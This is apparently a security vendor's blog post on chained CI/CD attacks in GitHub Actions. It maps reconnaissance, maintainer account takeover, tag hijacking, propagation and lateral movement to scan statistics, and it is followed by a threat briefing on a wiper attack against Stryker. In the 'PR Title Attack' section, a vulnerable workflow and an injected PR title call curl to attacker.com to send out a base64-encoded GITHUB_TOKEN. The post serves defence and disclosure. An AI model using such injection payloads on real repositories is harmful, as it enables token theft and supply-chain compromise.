sales@vigilantnow.com (Chris Nyhuis) — Tue, 24 Mar 2026 17:41:07 GMT

Chris Nyhuis

CEO, Vigilant

12 min read

Part of a 9-part research series on CI/CD pipeline security. See all articles below.

A chained exploit isn’t one vulnerability - it’s a sequence of individually minor weaknesses that compound into a full compromise path. In CI/CD, the chain is entirely automated and scales horizontally.

The Setup

In our scan of GitHub’s top 50K repos, we found 192,776 individual security findings. Individually, most of them are medium severity - a mutable version tag here, an overly broad permission there. But vulnerabilities don’t exist in isolation. Attackers don’t exploit one finding - they chain them.

6,983 repos in our dataset have compound vulnerabilities across two or more rule categories. 3,172 have the exact combination that constitutes a complete attack chain: an unpinned action plus write permissions. 611 have the triple compound - unpinned action, write permissions, and a dangerous trigger - the most dangerous repos in the dataset.

This article walks through the five steps of a CI/CD chain attack, mapping each step to real data from our scan. This isn’t theoretical. Every element of this chain exists in production right now, across thousands of repositories.

I’ve spent 30 years on both sides of this wire - building these attack chains in red team engagements against banks, government agencies, and critical infrastructure, and building the tools to detect them. The chain I’m about to describe isn’t hypothetical. It’s a playbook.

What Is a Chained Exploit?

In traditional security, a chained exploit links multiple weaknesses into a single attack path. A phishing email delivers a credential-harvesting page. The stolen credential grants VPN access. The VPN connection reaches an unpatched internal server. The server exploit escalates to domain admin. No single step is a critical vulnerability. Together, they’re a complete compromise.

CI/CD chain attacks follow the same logic but operate in a fundamentally different environment. The entire chain is public - workflow files are readable by anyone. The attack is automated - CI triggers execute without human interaction. And the scale is horizontal - one compromised action hits every consumer simultaneously, not one target at a time.

Step 1: Reconnaissance

The attacker’s first move is mapping the target landscape. In CI/CD, this is trivially easy - and our scan proves it.

GitHub Actions workflow files live in .github/workflows/ in every public repository. They’re readable without authentication. An attacker can enumerate every action dependency, every permission grant, every workflow trigger across the entire platform using GitHub’s Search API and Contents API.

Our scan did exactly this: 50,012 repos scanned with Runner Guard, 20,265 vulnerable repos identified, 192,776 findings catalogued - all from public data, in days, with minimal infrastructure. An attacker performing the same reconnaissance would build a prioritized target list ranked by downstream impact: which actions have the most consumers, which repos have the most forks, which pipelines have the most sensitive access.

The supply chain data from our scan is essentially the output of this recon phase. docker/login-action@v3 in 1,848 repos. softprops/action-gh-release in 1,405. dtolnay/rust-toolchain in 989. Every one of those numbers is a blast radius.

Step 2: Compromise the Action

The attacker’s target isn’t the downstream repos - it’s the action maintainer’s GitHub account.

Methods: credential stuffing from previous data breaches. Phishing campaigns personalized from the maintainer’s public GitHub activity. Expired email domain takeover - if the maintainer’s recovery email domain has lapsed, buy it and reset their password. Social engineering through GitHub issues or pull requests.

Only ONE account needs to be compromised. Not the downstream repos, not GitHub itself - one maintainer.

This is what happened with tj-actions/changed-files in March 2025. The maintainer’s account was compromised through credential exposure. The attacker gained push access to the repository. No software vulnerability was exploited. No zero-day. Just a person’s credentials.

The single-maintainer problem our data reveals makes this step disturbingly efficient. action-gh-release - maintained by a single account - is used by 1,405 repos. rust-toolchain - maintained by a single account - controls the CI infrastructure for most of the Rust ecosystem across 989 repos. create-pull-request - maintained by a single account - has 59 action references across 353 repos. Compromise any one of these accounts and step 2 is complete.

Step 3: Payload Injection

With push access to the action’s repository, the attacker modifies the action’s code and moves the mutable tag (e.g., @v3) to point at the malicious commit.

The key insight: the action’s repository looks normal. Same tag name. Same version number. The tag just points somewhere different now. There’s no pull request, no code review, no approval process. Git tags are mutable - they can be deleted and recreated to point at any commit.

The payload itself targets CI environment variables. GitHub Actions workflows run with access to: - GITHUB_TOKEN - write access to the repository (if permissions allow) - Cloud credentials - AWS keys, GCP service account tokens, Azure connection strings - Registry tokens - NPM, PyPI, Docker Hub, Homebrew - Signing keys - code signing, release attestation

The payload doesn’t need to be sophisticated. A few lines of shell that base64-encode environment variables and POST them to an attacker-controlled endpoint. The exfiltration happens inside the CI runner, which has network access by default. No firewall to bypass. No endpoint detection to evade. The runner is a clean environment that trusts everything running inside it.

Step 4: Zero-Click Propagation

This is where CI/CD chain attacks diverge from every other attack class: propagation is automatic.

Every repository using action@v3 resolves that reference at runtime. The next time any of those repositories’ CI pipelines trigger - a push, a pull request, a scheduled workflow, a manual dispatch - the compromised code executes. No interaction required from the downstream repo maintainers. No approval. No awareness.

From our data: docker/login-action@v3 alone would hit 1,848 of GitHub’s top repos on the next CI trigger. That’s not 1,848 alerts - it’s 1,848 pipelines executing the attacker’s code with whatever credentials those pipelines hold. Docker registry tokens, cloud provider secrets, GITHUB_TOKENs with write access.

The propagation is horizontal. One compromised action doesn’t target one repo - it targets every consumer simultaneously. The blast radius isn’t one organization - it’s the subset of the open-source ecosystem that depends on that action.

And the timing is unpredictable from the attacker’s perspective - some repos trigger CI on every push, some on a schedule, some only on pull requests. The compromise rolls out gradually as different repos trigger their pipelines, creating a time window where the attack is active but not yet widely noticed.

Step 5: Lateral Movement

Stolen credentials open doors beyond the CI pipeline.

A compromised GITHUB_TOKEN with write permissions - and our data shows 7,236 repos grant write access via RGS-008 - can push code directly to the downstream repository. The attacker is now inside the project’s source code, not just its CI. They can modify release workflows, add themselves as a contributor, or inject backdoors into the codebase itself.

Stolen cloud credentials (AWS, GCP, Azure) access production infrastructure. The jump from CI pipeline to production environment is a single API call with the right credentials.

Stolen registry tokens (NPM, PyPI, Docker Hub) allow publishing backdoored packages. The attacker is now in the downstream project’s software supply chain - not just their CI/CD supply chain.

Each stolen credential is a pivot point. The attack chain doesn’t end at exfiltration - it’s the beginning of a second, third, or fourth chain.

Why This Chain Is Different

Traditional security tools don’t see it.

No CVE is exploited. There’s no software vulnerability to patch. The attack exploits a trust model, not a code defect.
No code changes in the victim repo. The workflow file stays identical. The action reference still says @v3. The code that @v3 points to changed - upstream, in someone else’s repository.
No review process triggers. Moving a Git tag doesn’t create a pull request, doesn’t send a notification, doesn’t appear in the downstream repo’s activity log.
SAST, DAST, and SCA don’t scan CI/CD. Traditional application security tools analyze application code and dependencies. They don’t examine workflow files, action references, or CI permission configurations.

This is why Vigilant built Runner Guard. The gap between traditional application security and CI/CD pipeline security is where these chain attacks operate.

The Compound Evidence

Our scan data maps directly to each step of the chain:

Chain Step	Our Evidence
Recon	143,616 unpinned action findings mapped across 20,265 repos
Compromise	Single-maintainer actions: action-gh-release (1,405 repos), rust-toolchain (989)
Payload	6,790 critical findings - CI environments with sensitive access
Propagation	docker/login-action@v3 reaches 1,848 top repos; 590M downstream forks
Lateral	RGS-008: 11,658 findings - write-access GITHUB_TOKEN in 7,236 repos

The most dangerous compound patterns in the dataset:

Rule Combination	Repos	Risk
RGS-007 + RGS-008	3,172	Unpinned action + write perms = steal AND push
RGS-007 + RGS-008 + RGS-004	611	Triple compound - the complete chain in one repo
RGS-001 + RGS-002	98	Injection + dangerous trigger - direct code execution

The 611 triple-compound repos are the most dangerous in the dataset. They have all three elements: an unpinned action (the entry point), write permissions (the escalation path), and a dangerous trigger (the activation mechanism). An attacker doesn’t need to chain across multiple repos - everything is in one place.

A Concrete Scenario - The PR Title Attack

Abstract chain models are useful for understanding. Concrete examples are useful for convincing your team to fix this today. Here’s a real attack scenario built entirely from patterns we found in the dataset.

The target: A popular open-source framework (50K+ stars) with this workflow in .github/workflows/greet.yml:

on:
  pull_request_target:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    permissions:
      contents: write
      pull-requests: write
    steps:
      - uses: actions/checkout@v4
        with:
          ref: $
      - run: |
          echo "Thanks for the PR: $"
          # ... process the PR

The attack - four lines, no tools, no exploits:

An attacker opens a pull request with this title:

"; curl -s https://attacker.com/exfil?token=$(echo $GITHUB_TOKEN | base64) #

When the workflow triggers, GitHub interpolates the PR title directly into the shell command. The echo statement becomes:

echo "Thanks for the PR: "; curl -s https://attacker.com/exfil?token=$(echo $GITHUB_TOKEN | base64) #"

The shell executes curl, which sends the repository’s GITHUB_TOKEN - with contents: write and pull-requests: write permissions - to the attacker’s server. The # at the end comments out the trailing quote. Total execution time: under one second.

What the attacker now has:

Write access to the repository’s code (push commits, modify files, create branches)
Write access to pull requests (approve PRs, merge code, post comments as the repo)
The ability to push a backdoored commit to the main branch, affecting every downstream user

What made this possible - four compounding weaknesses:

pull_request_target trigger → runs with secrets access (RGS-005)
Checkout of PR head → executes untrusted fork code (RGS-009)
Expression injection → PR title flows to shell execution (RGS-001)
permissions: contents: write → stolen token can push code (RGS-008)

No single finding is catastrophic. Together, they’re a complete compromise - from anonymous attacker to code-level write access in a top open-source project, triggered by opening a PR. This compound pattern exists in hundreds of repos in our dataset.

The fix is equally straightforward: move the PR title into an environment variable (env: PR_TITLE: $), switch to pull_request trigger, scope permissions to read-only. Minutes of work. The Fix It guide covers each fix with before-and-after examples.

The Active Exploit Chains

541 repos have taint-to-execution chains - untrusted input from PR titles, issue bodies, or branch names flowing directly to shell execution:

Category	Star Range	Rules Hit	Findings
Popular AI desktop client	40K-45K	10 rules	124
Popular low-code platform	35K-40K	9 rules	1,030
Java design patterns repo	90K-95K	6 rules	18
Popular BaaS platform	55K-60K	7 rules	107

A popular AI desktop client triggers 10 different rule categories - the most diverse vulnerability profile in the dataset. A popular low-code platform has 1,030 findings across 9 rules - essentially every vulnerability type we detect.

These repos don’t just have compound vulnerabilities - they have active exploit chains where untrusted data flows from attacker-controlled sources (PR titles, issue bodies) through expression interpolation directly to shell execution with secrets access. An attacker submitting a specially crafted PR title could execute arbitrary commands in the CI runner.

Unsafe Checkout - The Direct Path

RGS-009 detects the most direct attack chain: repos using pull_request_target that check out and execute fork code. The pull_request_target trigger runs with full write access and secrets - unlike pull_request, which runs in a sandboxed context. When a workflow checks out the PR head (the fork’s code) under this trigger, the attacker’s code runs with the same privileges as a trusted contributor.

Category	Star Range	Critical Findings
Popular low-code platform	35K-40K	66
Popular AI chat interface	85K-90K	3
Popular multi-agent AI framework	60K-65K	6
Kubernetes networking project	20K-25K	24
Major tech company’s language tool	30K-35K	24

The AI repos are particularly concerning. Several popular AI tooling repositories - an AI chat interface, a multi-agent framework, an AI desktop client - all have RGS-009 misconfigurations that create OIDC credential theft vectors. An attacker submitting a PR to these repos could steal cloud credentials through the CI pipeline.

The Code Injection + Self-Hosted Runner Chain

The most dangerous combination in the dataset pairs code injection vulnerabilities (RGS-001, RGS-002) with self-hosted runner exposure. Self-hosted runners are persistent machines - unlike GitHub’s ephemeral runners, they don’t get destroyed after each job. An attacker who achieves code execution on a self-hosted runner can install persistent access: backdoors, credential harvesters, reverse shells that survive the workflow run.

Repos with this combination include a popular penetration testing framework (30K-40K stars), a popular developer portal (30K-35K stars), a popular API gateway (40K-45K stars), and a major Kubernetes networking project (20K-25K stars). These are high-value infrastructure targets where persistent access to the build environment has outsized impact.

The irony of the penetration testing framework bears repeating: the tool security professionals use to test for remote code execution has RCE vulnerabilities in its own CI/CD pipeline. The tool designed to find the problem is the problem.

The Trust Paradox in Chain Attacks

The organizations developers trust most aren’t immune to compound vulnerabilities - they’re often the most exposed. Our data shows major cloud platforms, OSS foundations, and framework organizations among the repos with the densest compound findings. A major Java framework organization has a 92.9% vulnerability rate across its repos - nearly every one with multiple overlapping rule hits.

This isn’t surprising when you understand the chain model. Larger organizations run more complex CI/CD with more action dependencies, more permission grants, more workflow triggers, and more credential access. Each additional element is another link that can be exploited. The chain doesn’t care about the brand name - it cares about the structure of the pipeline.

What You Can Do About It

Break the chain at Step 1. SHA-pin every action. If the reference is immutable, tag manipulation has no effect. The chain dies at the first link.
Minimize lateral movement at Step 5. Scope GITHUB_TOKEN permissions to the minimum required per job - contents: read, not write-all. An action that can’t push code limits the blast radius even if compromised.
Eliminate dangerous triggers. pull_request_target with checkout of fork code gives untrusted PRs access to secrets. Switch to pull_request (which doesn’t have secrets access) or add explicit authorization checks.
Watch for compound patterns. A single unpinned action is medium risk. An unpinned action plus write permissions plus a dangerous trigger is a complete attack chain. Scanner output that only shows individual findings misses the compounding - look for the combinations.
Assume the chain will be automated. The AI agent analysis shows how every step of this chain can be orchestrated by autonomous agents. The speed and scale of the next major CI/CD supply chain attack will be fundamentally different from tj-actions.

The chain attack is the threat model that makes CI/CD security different from application security. It’s not about one vulnerability in one repo - it’s about how weaknesses compound across the trust boundaries of the entire ecosystem. Understanding the chain is the first step to breaking it. The Fix It guide walks through the specific fixes for each link.

Scan your repos today. Runner Guard is Vigilant’s free, open-source CI/CD security scanner - the same tool that powered this research. Install it in under a minute:

brew install Vigilant-LLC/tap/runner-guard
runner-guard scan github.com/owner/repo

Install Runner Guard Learn More About Vigilant

14 security rules. Zero configuration. One command.

INTEL BRIEFING SITREP - STRYKER ATTACK

sales@vigilantnow.com (Chris Nyhuis) — Fri, 13 Mar 2026 22:00:54 GMT

Executive Summary

On the night of March 11, 2026, an Iranian state-linked hacker group known as Handala executed the most destructive cyberattack against a US corporation since the start of the US-Israel war on Iran. The target was Stryker Corporation, a $131B medical device manufacturer with 56,000 employees across 61 countries. The attack wiped 200,000 devices, exfiltrated 50 terabytes of data, and shut down operations in 79 countries overnight. This was not an isolated event. It is the opening operation of a declared, escalating cyber warfare campaign against American and Western organizations.

Attack Timeline

Time (EDT)	Event
12:30–3:30 AM, Mar 11	Attack initiates. Devices begin wiping across global network.
3:30 AM	Employees in US, Ireland, Australia, India locked out. Personal phones wiped.
Morning, Mar 11	Stryker HQ in Portage, MI physically closes. Phone system replaced with “building emergency” message.
Mar 11 daytime	Stryker confirms “global network disruption to Microsoft environment” to CNN, WSJ, Bloomberg.
Mar 11 evening	Stryker files with SEC. Full restoration timeline unknown.
Mar 12	Systems remain offline. FBI and CISA have not publicly commented.

Attack Vector: How They Did It

Handala compromised Stryker’s Microsoft Intune environment — a cloud-based Mobile Device Management platform. By gaining administrative access, they:

1. Pushed a mass wipe command to all enrolled devices — corporate and personal

2. Defaced all login pages with the Handala logo

3. Exfiltrated 50TB of data prior to destruction

4. Sent emails directly to Stryker executives claiming ownership of the attack

Any organization using cloud-based MDM — whether Intune, Jamf, or Workspace ONE — has this same attack surface. An attacker with admin credentials can turn your device management platform into a remote kill switch. This is not a theoretical risk anymore.

Patient Safety Impact: The Lifenet Situation

Stryker’s subsidiary Physio-Control operates Lifenet, the system US paramedics use to transmit EKG data from ambulances to hospital emergency departments before a patient arrives.

Maryland’s Institute for Emergency Medical Services issued an alert to all hospitals in the state on March 11. Lifenet was non-functional in most parts of the state. EMS clinicians were instructed to revert to radio communication.

When a cyberattack disrupts pre-hospital cardiac care, it has crossed from operational disruption into potential patient harm. Every healthcare-adjacent organization should be taking note.

Why Stryker Was Targeted

Israeli acquisition: Stryker acquired OrthoSpace in Israel in 2019, still an active subsidiary per current SEC filings.

US DoD contract: Stryker secured a $450 million contract to supply medical devices to the Department of Defense in 2025.

VA contracts: Additional contracts with the Department of Veterans Affairs.

Critical infrastructure role: Physio-Control and Lifenet are embedded in US emergency response systems nationwide.

The Broader 48-Hour Campaign

Stryker was one strike in a coordinated multi-front offensive. Here is what else happened in the same 48-hour window:

Target	Attack Type	Status
Stryker (US, $131B)	Wiper + 50TB data theft	CONFIRMED
Verifone (US payment)	Data breach claimed	DISPUTED
Academy of Hebrew Language	Defacement + psyop	CONFIRMED
Israeli financial sector	DDoS — 1.2M req/sec	CONFIRMED
Jordan fuel systems	Infrastructure sabotage	CLAIMED
Bank of Jordan, UAE & Saudi airports	Disruption	CLAIMED
Iranian-American/Canadian influencers	Death threats + dox	CONFIRMED

“RedWanted”: The Public Target List

On March 1, 2026, Handala launched RedWanted — a public hit list naming individuals and organizations designated as supporters of Israel, with an explicit declaration that they will hunt every listed target. If your organization has Israeli business ties, US government contracts, or operates in healthcare, energy, financial services, or technology, assume you may be on or near this list.

Declared Future Targets

The IRGC formally declared US and Israeli-linked banks and economic centers as legitimate military targets. Iranian state media named the following American companies:

Google
Microsoft
Nvidia

Handala’s own statement following the Stryker attack: "This is only the beginning of a new chapter in cyber warfare."

Active Secondary Threat: CrowdStrike Phishing Lures

Handala has a documented pattern of deploying fake CrowdStrike security alert emails immediately following high-profile security events — sending spoofed remediation emails that deliver wiper malware to targets who click.

Immediate action required: Instruct all staff that any unexpected email from CrowdStrike, Microsoft, or any security vendor requesting a download or remediation action must be verified by calling the vendor directly at a known, pre-existing number. Do not click links. Do not download attachments. The more urgent it feels, the more suspicious you should be.

Recommended Actions

Immediate — Next 24 to 48 Hours

1. Audit MDM admin access. Review who holds Intune or MDM administrative credentials. Apply least-privilege immediately. Enable MFA on all admin accounts if not already active.

2. Verify CrowdStrike communications. Brief your security team and IT helpdesk. No vendor-sourced instructions should be acted upon without out-of-band verification.

3. Assess Stryker device exposure. If your organization uses any Stryker or Physio-Control connected equipment, determine current connectivity status and isolation posture.

4. Review DoD and Israeli contractor relationships. If you are a vendor or subcontractor in either of these supply chains, elevate your threat posture now.

Near-Term — Next 30 Days

5. Wiper resilience audit. Validate offline backup integrity. Wiper attacks leave no recovery path without clean, air-gapped backups.

6. Phishing simulation using security vendor themes. Run a targeted test using CrowdStrike and Microsoft-themed lures to identify vulnerable personnel before Handala does.

7. Incident response plan review. Does your IR plan account for MDM compromise as an initial attack vector? If not, it needs to.

How Vigilant Addresses This Threat

The Stryker attack succeeded for one fundamental reason: nobody saw it happening in real time. By the time employees watched their screens go dark, the wipe command had already executed across 200,000 devices.

Perimeter defenses and endpoint agents alone do not catch MDM-layer administrative abuse. Vigilant’s sensor technology is deployed deep inside client environments, monitoring not just endpoints but the management planes, authentication layers, and administrative tooling that Handala specifically targeted:

Anomalous MDM policy push activity, including bulk enrollment changes or device wipe commands outside of normal administrative patterns
Aligned Service: Managed Defender

Credential abuse at the management layer — privileged account activity inconsistent with established baselines
Aligned Service: Managed Defender

Mass authentication events at a scale that generates detectable signals well before execution
Aligned Service: Managed Defender

Suspicious Microsoft 365 activity — including anomalous OAuth application consent grants, mail forwarding rule changes, and administrative role escalation events outside of authorized change windows
Aligned Service: V365

Lateral movement through Microsoft cloud management infrastructure and Organization Network — a monitored vector in our CyberDNA Platform
Aligned Service: Managed Defender & CyberDNA MNDR

The difference between a detection event and a disaster is visibility. That is what we provide.

Vigilant Research

From Scanner to Weapon: Inside the Supply Chain Attack That Backdoored the #1 AI Key Management Library

Software Supply Chain Attack Escalation: Trivy, LiteLLM, and the 50K-Repo Vulnerability Landscape

How the LiteLLM Attack Worked

Why This Matters to Your Organization

Vigilant's Research: We Found This Pattern Before the Attack

Recommended Actions

Immediate: Next 24 Hours

Near-Term: Next 7 Days

Supply Chain Security Best Practices

Beyond Snapshots — Why CI/CD Security Needs Continuous Monitoring

The Setup

The Snapshot Blindness Problem

From Runner Guard to ThreatCert

What Runner Guard Does

What ThreatCert Adds

Temporal Shift Analysis

Attack Condition Alignment Detection

The Organizational Attacker Intent Score

Cross-Domain Correlation - Real Scenarios

2-3 Hop Vendor Chain Monitoring

The 50K Scan Proves the Model

The Funnel

Why CI/CD Is Different From Other Security Domains

What You Can Do Today

Related Articles

What's Next, Fixing 50K Repos, One PR at a Time

The Setup

The Plan

Why PRs Instead of Advisories

The Prioritization

What We Can’t Fix

The Zombie Repos

The Abandoned Repos

The Complex Fixes

The Ecosystem Effect

The Responsible Disclosure Philosophy

The Scale Challenge

The Narrative

What Happens If Nobody Fixes These

What Comes Next

Run It Yourself

Related Articles

The Software Supply Chain Crisis — 74.5% of Findings Are Unpinned Actions

The Setup

What Mutable Tags Actually Mean

The Most Commonly Unpinned Actions

The Trust Paradox in the Supply Chain

The Single-Maintainer Problem

Version Sprawl - The Hidden Multiplier

The @master/@main Problem

Security Scanners Running Unpinned

The Recursive Supply Chain

New-Gen Tooling - Already Unpinned

The Zombie Supply Chain

Why Dependabot Isn’t Solving This

What You Can Do About It

Related Articles

Fix It — SHA Pinning, Least Privilege, and the 5-Minute Security Upgrade

The Setup

The 5-Minute Fixes

SHA Pinning (RGS-007)

Permission Scoping (RGS-008)

Input Validation (RGS-001, RGS-002, RGS-003)

The Deeper Fixes

Trigger Safety (RGS-004, RGS-005, RGS-009)

Network Safety (RGS-006, RGS-012)

OIDC Over Secrets for Cloud Auth

Debug Logging (RGS-015)

AI Config Safety (RGS-010, RGS-011)

The Automation Story

The Single-Maintainer Mitigation

Organization-Wide Rollout

The Dependabot Gap

Consuming Open Source Safely - For Organizations and Individuals

The Liability Reality

Direct Consumption - When You Use Open Source

Indirect Consumption - When Your Vendors Use Open Source

The Shared Responsibility Model

What You Can Do About It - The Priority List